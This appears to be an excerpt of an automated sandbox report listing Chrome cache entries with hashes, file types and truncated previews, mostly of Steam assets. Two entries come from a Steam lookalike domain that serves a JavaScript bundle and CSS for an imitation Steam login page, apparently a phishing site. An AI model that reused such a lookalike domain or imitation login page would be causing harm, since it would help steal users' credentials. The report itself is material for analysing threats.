Preview:	../..Copyright (c) 2011, Daniel Guerrero..All rights reserved.....Redistribution and use in source and binary forms, with or without..modification, are permitted provided that the following conditions are met:.. Redistributions of source code must retain the above copyright.. notice, this list of conditions and the following disclaimer... * Redistributions in binary form must reproduce the above copyright.. notice, this list of conditions and the following disclaimer in the.. documentation and/or other materials provided with the distribution.....THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND..ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED..WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE..DISCLAIMED. IN NO EVENT SHALL DANIEL GUERRERO BE LIABLE FOR ANY..DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES..(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUB

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	1429
Entropy (8bit):	7.114906411921738
Encrypted:	false
SSDEEP:	24:g9XPYOEocal1hQWwjx82lY2T3+VLHnmbHn4yJ3VZHnLRHn5GY82Df9wIyvcyPO:g9fsIzNn2KhHWHbJ3XHlH5L823yPO
MD5:	1658BD9BCE49908BAC30F075D520DFBC
SHA1:	1174BCC3DA90B32BCD21B75AF923F2C869CEE552
SHA-256:	96A49A32967F0A65E3131A3AA1D493425C15325787448300F64B138D6710F51C
SHA-512:	DD44D33A623F538E27183A7F689B9E97F1E1D85D9A6C09A09532FB6A9D61D13C31FC3B3F2220788092E8FB6E629D4756564C8B8D7EFCD6C430EEC98F592342D3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_twitter.gif
Preview:	GIF89a.............UV\........hin...RTZRSY.........egl...FGN.....;<C......\]crsxTV\;=D?AH68??@G.....ikpY[a............8:A......BDJ......abh...YZ`...sty...LNTMOU......>@FKMS...SU[79@BDKACI57>.........!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:A00F86217F2E11EE954AD5AEB68850C4" xmpMM:DocumentID="xmp.did:A00F86227F2E11EE954AD5AEB68850C4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A00F861F7F2E11EE954AD5AEB68850C4" stRef:documentID="xmp.did:A00F86207F2E11EE954AD5AEB68850C4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	1278
Entropy (8bit):	6.9904915779422545
Encrypted:	false
SSDEEP:	24:+jVgXal1hQWwjx82lY2T3+VVMLoyJ3V+GGY8nLPewOd:zgzNn2KgLrJ3ZL8DdOd
MD5:	A4AD1737E878B031DE37EDF234CB1283
SHA1:	1BCDAAB7E0C225DF693E69704EB7555E120657A5
SHA-256:	B22C73A2ED7BE863D4779BBE6DB4C9D4078C453D7118C0A6F70ACAD0108A9F23
SHA-512:	973404080C1BD98492DAA385E49ED4FF53D847F09F16A18FC3BBB0EBD4FCD5A18175FC32325A2BA93A4E2C39B619070C30C1B9BCF30B37D7DD3EFECDD91018EC
Malicious:	false
Reputation:	low
Preview:	GIF89a.......UV\........RTZ......TV\PRX........8:A\]c.....................................BDKACI...57>!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:95DFDEB47F2E11EE8716FE6E5DEA6C2D" xmpMM:DocumentID="xmp.did:95DFDEB57F2E11EE8716FE6E5DEA6C2D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:95DFDEB27F2E11EE8716FE6E5DEA6C2D" stRef:documentID="xmp.did:95DFDEB37F2E11EE8716FE6E5DEA6C2D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.............................................................................................

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 554 x 271, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	202593
Entropy (8bit):	7.996848192202674
Encrypted:	true
SSDEEP:	3072:9RJJ+0NcfaVXHbin/ENV96H7aZ4CQwYiGVjrS2lAbl6JXKT8fNRjFLTlz8CJ:mtnso7e4CFYiGVi1bl6YT8fdZTJ
MD5:	88319D4D76E896A40C655D3F62EFB104
SHA1:	AF044A1B235CECFC9A551EA124E76A82FB6D21A9
SHA-256:	88D4D1C9BD11D30037635C8496A5F253EA440174D20C81FD227F60CC33E12D65
SHA-512:	76224F95B6F0B8CE783B7ED7D1BC7F0CFFACBF668E4B6D53D390DD0E1847F8F1A4F624A5B66102E72EABA3425DCD05637F178A028BD6A4E869C0D7BE1766DE57
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR............l......pHYs.................sRGB.........gAMA......a.....IDATx.......u.......}.{=.@71...... )q.Iq.%Sf YJ.I.,...;.D6].4R.$.TJ.D..XQY.D.bhJ.hQ"E..I.........4....o~....a.....&.$......{...o....3..p\..........0.{...~.......}.q.]g;Q...p!.E..~....7...y.J.......5~.2.......8O@.4.;.E.+.,m.....h..."...w.!.A..-.!.l;.....W(.NL....xQ.......#DI....{j.L..D.o.....:..f>\.F.[.&. ...9.\.G4,H...!c...G...*..D..N..z.u:..$.....0...rmL...n.T(..p;m&._([W.U..n..0.Q.AE.%q..8F.qQ....Ov.........$+Q.I....3i..I.M6.~V]..j.....d....d./.9..9.n.u:...z."......T..<l.Bg.O..`9.w,.d..(k[<K.C.......+..4K....f.W.".L/S.y..e8.../BY...%L....6\g...L.}../....Y.j....._.K.......?7].7...v...@....#A.L..%..H....T..L...V@.fD<..P.D..O{..8. ..Gi.....J+..2.xsa#...`....&.D[..z.......t... I..Y..v.......B.f..V&S6d.tt...$.:S.....r`uh.m....@..........J..M.g.6.].<..~ .4;K..T.f."..{.p..Q..Z..-..A..]..z~.zH2m,...........P.-k.i...J[<1eP.....h&`Xhs.f..3.,..Ksp......_.,N...\.&v.J....).F.

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64431)
Category:	downloaded
Size (bytes):	170681
Entropy (8bit):	5.649685917515725
Encrypted:	false
SSDEEP:	3072:92u8UVOyWhouuQAGt7xZtsbMnBBsb0vaROMMNefopab0ErWlAuROMMNefopab0qr:92u8YOvPuktxYROMMNefopab0ErWlAu1
MD5:	B52A187C21D0264BC01F11DF5E8DBC40
SHA1:	5DECA53E04C9A303B79F0BAF6EA8F832D3795BA8
SHA-256:	101204743A44875D6879E53352804F2D8442832B0E33A76C64641FA932E2C88B
SHA-512:	FAC8D5B2CDE067E3F1A8E8534F6A53546AF73A0D7BF95B893863E7EF6CE019B7B878884C7AC6A5F4A93B81FAA6789D6A687E21BE646412F26A4ED2B0BEB06FE3
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/721d7f512e0801585d0204401a0e60575729722f73.js
Preview:	(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const o of i)if(o.type==="childList")for(const c of o.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&r(c)}).observe(document,{childList:!0,subtree:!0});function n(i){const o={};return i.integrity&&(o.integrity=i.integrity),i.referrerPolicy&&(o.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?o.credentials="include":i.crossOrigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function r(i){if(i.ep)return;i.ep=!0;const o=n(i);fetch(i.href,o)}})();function lt(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var ut={exports:{}},ke={};const Ot=React;/*. @license React. * react-jsx-runtime.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licens

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, CR line terminators
Category:	downloaded
Size (bytes):	89437
Entropy (8bit):	4.934831850769131
Encrypted:	false
SSDEEP:	1536:LlaY4P+xmlvr+k3mCQHNl9EvOxzXQApcGBPVCGUb6WFA66WqiLOrVQXWl:E1XZEl9EvOxzLcGBkQ1WA
MD5:	31ED48071CE4B62C24520C95BCDE6026
SHA1:	C073152E6835FBA2DED4CC215F3985266BE23F2B
SHA-256:	08B39451EABACA10CD735816CDC5AF4A35B05FBB197E2082235B6E16BE62DEDB
SHA-512:	1CB651EC52D7EB67A961436A48340D0B783BC944CD54008D00E8B26D933D0668380126C6ACAE89EF10906FD96E8DA9ED4EF773DFD9C761F608FF7EBDA5554AE7
Malicious:	false
Reputation:	low
URL:	"https://store.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider"
Preview:	// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008....// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)..// ..// Permission is hereby granted, free of charge, to any person obtaining..// a copy of this software and associated documentation files (the..// "Software"), to deal in the Software without restriction, including..// without limitation the rights to use, copy, modify, merge, publish,..// distribute, sublicense, and/or sell copies of the Software, and to..// permit persons to whom the Software is furnished to do so, subject to..// the following conditions:..// ..// The above copyright notice and this permission notice shall be..// included in all copies or substantial portions of the Software...//..// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..// NONINFRINGEMENT. IN NO EV

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2557
Entropy (8bit):	4.948346901928461
Encrypted:	false
SSDEEP:	48:cGA+fEjXUMEcKCNyuPqkZ1IRXJdJaCiC9tX3tGdfPNyFbap35r:a+fQXnEcYuitXJdJa1CHAdJr
MD5:	8351C9C5873C3975D9730ACE755A5EC9
SHA1:	66D9D4F9E3D73027ECF61972DE43657FFBC831EA
SHA-256:	18E6EE2ED3EA311B09C504798CCBB37FB9386840A9FCE138F0A03DFA3D5564DF
SHA-512:	F339E73C884A6A4B95913C7BF37C8ACB30FD9298D29F89EEDB36FC50B6EED196A3C3AE37EB910D38B89B387E988A08568E6E2C150513F83087B2BD81A766F0AB
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 23.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 278 84" style="enable-background:new 0 0 278 84;" xml:space="preserve">..<style type="text/css">....st0{fill:#24ACE3;}....st1{fill:#FFFFFF;}..</style>..<g>...<g>....<path class="st1" d="M41.8,0C19.7,0,1.7,17,0,38.5l22.5,9.3c1.9-1.3,4.2-2.1,6.7-2.1c0.2,0,0.4,0,0.7,0l10-14.5c0-0.1,0-0.1,0-0.2.....c0-8.7,7.1-15.8,15.8-15.8c8.7,0,15.8,7.1,15.8,15.8c0,8.7-7.1,15.8-15.8,15.8c-0.1,0-0.2,0-0.4,0L41,57.1c0,0.2,0,0.4,0,0.6.....c0,6.5-5.3,11.9-11.9,11.9c-5.7,0-10.5-4.1-11.6-9.5L1.4,53.3c5,17.6,21.1,30.5,40.3,30.5c23.1,0,41.9-18.8,41.9-41.9.....C83.7,18.8,64.9,0,41.8,0z"/>....<path class="st1" d="M26.3,63.6l-5.1-2.1c0.9,1.9,2.5,3.5,4.6,4.4c4.5,1.9,9.8-0.3,11.6-4.8c0.9-2.2,0.9-4.6,0-6.8.....c-0.9-2.2-2.6-3.9-4.8-4.8c-2.2-0.9-

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (355), with CRLF line terminators
Category:	dropped
Size (bytes):	135833
Entropy (8bit):	5.69218613768848
Encrypted:	false
SSDEEP:	3072:JmUG0YLJR5J2hn+FmzYVQwxhG5YLpQuce8YL3vjzxmPCjwjlbKlZNUupM:JmUG0YLJR5J2hmmzYVQwxhG5YLpQYL3C
MD5:	12F4F1A7680F00846F5EFFF0A06F4917
SHA1:	EB16DCA2EB1D74FE99F29B2EE03404E0FD75B9A9
SHA-256:	B4DB2CF524525B37820A32570C9AAC5C23484CBF024B209537DA4625D3C2BEA1
SHA-512:	26B081D5989A7492AF5722DBC29130D73D4E296EB8B8E7C55FEAFFF5EE2832A5A0F337F3DC259759F1F796B6233D57BBED2E4D89E414AD9505A4977827BE1D75
Malicious:	false
Reputation:	low
Preview:	..HelpWizard = {...m_sCurrentPage: null,...m_steamid: '',...m_bUseHistoryAPI: false,...m_bInSearch: false,.....LoadPageFromHash: function( fresh_page_load, url, link_click, search_text ) {....var wizard_url = url;....if ( !wizard_url )....{.....if ( window.location.hash.length < 2 )......wizard_url = 'Home';.....else......wizard_url = window.location.hash.replace( /^#!?/,'');....}........if ( wizard_url.toLowerCase().startsWith('login') )....{.....window.location = "https://help.steampowered.com/ru/login" + wizard_url.slice( 5 );.....return;....}......var page_url = wizard_url;....var iQueryString = wizard_url.indexOf( '?' );....if ( iQueryString >= 0 )....{.....// strip search term out of wizard_url.....var rgQueryParams = iQueryString >= 0 ? $J.deparam( wizard_url.substr( iQueryString + 1 ) ) : {};.......if ( rgQueryParams.text ).....{......page_url = wizard_url.substr( 0, iQueryString );......search_text = rgQueryParams.text;......delete rgQueryParams.text;......var strQuery = $J.pa

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23167)
Category:	downloaded
Size (bytes):	23168
Entropy (8bit):	5.276486010034213
Encrypted:	false
SSDEEP:	384:EqRYlMQtMd1q4wpwZmO8tKkzcN0EK7DzvXKtMyrCdwahYX87/yysnaBb9F5Fc:ulMQtMdMYN0v7DrXKtTrCdwahYX87/y7
MD5:	A61A0912F47905F1904CADBB5D6FE668
SHA1:	2B2FA5E7FEB359D04A61842A2A4325C4749056F9
SHA-256:	56C9D30C57ED308DEA0C9B2982D5F2999AB220AAB89F4598CD6F97F951BECDAE
SHA-512:	F50BC73D7F51D4D22DE3180380AB22266ACF854E1AFFF5562BFE3F406FB44B3B07D7CB2DFD80BD1FC5573879EAEA29F6E255996A64FE8C0BE23E21AD78FE9DFF
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/721d7f512e0801585d0204401a0b6542182c52296b.css
Preview:	@import"https://fonts.cdnfonts.com/css/motiva-sans?styles=101373,102902,102901,103845";body,html{padding:0;margin:0}body{color:#e9e9e9;background-color:#181a21}body,input,button{font-family:Motiva Sans,sans-serif;font-weight:400}*{box-sizing:border-box}a{color:#afafaf;font-size:12px;text-decoration:none;cursor:pointer}._pageContent_41tvo_1{background:radial-gradient(#181a2100,#181a21) fixed no-repeat,url(https://community.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg) center top no-repeat,#181a21;padding:0 8px;width:100%}._loginContainer_41tvo_7{padding-top:80px;padding-bottom:150px;display:flex;flex-direction:column;align-items:center;box-sizing:content-box}._dialogBlock_41tvo_16{position:relative}@media screen and (max-width: 960px){._responsivePageContent_41tvo_21{position:relative;padding-top:62px;z-index:10;padding-bottom:120px;min-height:calc(100vh - 120px)}}@media screen and (max-width: 700px){._pageContent_41tvo_1{background:radial-gradient(

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 231x87, components 3
Category:	downloaded
Size (bytes):	8038
Entropy (8bit):	7.932780963956598
Encrypted:	false
SSDEEP:	192:xgECpcCDoEqqPJE1Bh5lkH8yMmhs7ATZbN4dAKpRpzcHm:NFCsEqqPYBzlkc/ATZbN4eKNcHm
MD5:	EA713CAA6F28C5560D15230567D2DEE5
SHA1:	84395747F125FA9CB60547A5AB33DCDCDEEEA945
SHA-256:	2ACD1E9020B5635D5CF357EC121BFAFF05C58EA7824285AA1FB9B3B46A8E1B25
SHA-512:	59354F0FD71931D2432364BA9B8D5C167C8100E13F7E2B387547D3B04516B6FFB0BD3E91696A843A214D1221E432CF58ECAF9CE4B6D62C0E9DEFDBAA9E8BB229
Malicious:	false
Reputation:	low
URL:	https://shared.akamai.steamstatic.com/store_item_assets/steam/apps/2124490/capsule_231x87.jpg?t=1728199422
Preview:	......JFIF.............C....................................................................C.......................................................................W............................................<..........................!1..A"Q.aq.#2.....B..$.Rb..%3r................................%.....................!1.A.Q"a...q..............?.]..YgX... .C.'...KZ.........,.:xj..E...p..`.\5.....x..OGRa....).{...Q...tkQ..Wz..T.7.........B.G6.S<q.G.9..J...Q...T.V..S..Nb....)..?p~.?Hun.....O..J.\..Q.Q......N..vu.\.C...r..{...?:.(.#?.....i..^...\g@L.v.\-....l..........G.\|..R:>.7mr....Cr..Z...&.....C.u.s..8. ..!W..sL..Q.~<.......U..%.#..<..........}1..2.']Xa$..w\|.=8..Z....If..CN... .=.l.1.....Fyq..Xn..^....*.@..L.........9..)S,.%<.T....#Yo.Zk..r....w..n..56H.D.......=eH...t\|wv..s.Hk#[2a#.0......##z.P.n...2...a.tN.../.]....ijYO.O.r.....N.1.....&1..+..A.t..0.Q..<.:..0.eT.....a...O....f..f.e..5g....'...Z:OeK....Gk.K....'.e.....oDz..j...G.['.r..g...^v.....$.....A.

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 20, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1096
Entropy (8bit):	6.304821109987511
Encrypted:	false
SSDEEP:	24:j1hpunQWwjx82lY2T32HEV+/obKvKyJ3V+NgcbiPGlDwkNXoVS9v:pitNn2VaJJ3XrmwkNR
MD5:	9144BEC4573DB7B865C7678AC940199A
SHA1:	03F112BA8B6DBD6C3547763C9F195B17F6F6AE87
SHA-256:	18AF5AE91365E0EF0D029CAC6CD819377BC1DAEF5F4D55DBE9767C10C86ADF29
SHA-512:	F11A724F249797B1E9A3500B4EA4B891DDC44C6B3079FF94983513F85E13E1DBA3EB3402A838A78C60D5948B66CFEE8E4D4A03F037D67404D6737FA9D80F11F3
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/images/arrow_right.png
Preview:	.PNG........IHDR.............V2./....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:6843D610C12A11E4BED2BD54346121FF" xmpMM:DocumentID="xmp.did:6843D611C12A11E4BED2BD54346121FF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6843D60EC12A11E4BED2BD54346121FF" stRef:documentID="xmp.did:6843D60FC12A11E4BED2BD54346121FF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..H.....IDATx.b\..4....J{..i....13).@......4).@.......).@@..w.q.)...~k..-@.O.&.....@l@.&.P..c@.L.&....9@<..f"110.b.w N..8.

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1161
Entropy (8bit):	6.483902966293242
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVNxhpyJ3Vlt8vmG8ll6f7iX:HZNn2lPzoJ3PtQmBY0
MD5:	E406E5A22E4F3CFA580D3BB57420150E
SHA1:	5B381E535BB0CE6003A461F3124FA1238DFBCEDB
SHA-256:	760589F903C5E9BD169B38F941F9A3DC88A23897E9CC5B622D3D91F5C204B9E4
SHA-512:	E33CB7BD10104A1E8C2D3F2B3885D65EF3769F7250445C8341D6D2AD2367749CCDC48DAABE4EA39CB80EE0362AF9D01E48370DB858BA01F956A1A6B8C04217C1
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:399EA8C592D411EE91E8F6773DB0009B" xmpMM:DocumentID="xmp.did:399EA8C692D411EE91E8F6773DB0009B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:399EA8C392D411EE91E8F6773DB0009B" stRef:documentID="xmp.did:399EA8C492D411EE91E8F6773DB0009B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.d......IDATx.b..U.d``.......@...4.....0......PWU.p..Q....1\=...2I.\Fg.&3de.....BX..4 ...L...!#....... )!..7m..

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://community.cloudflare.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
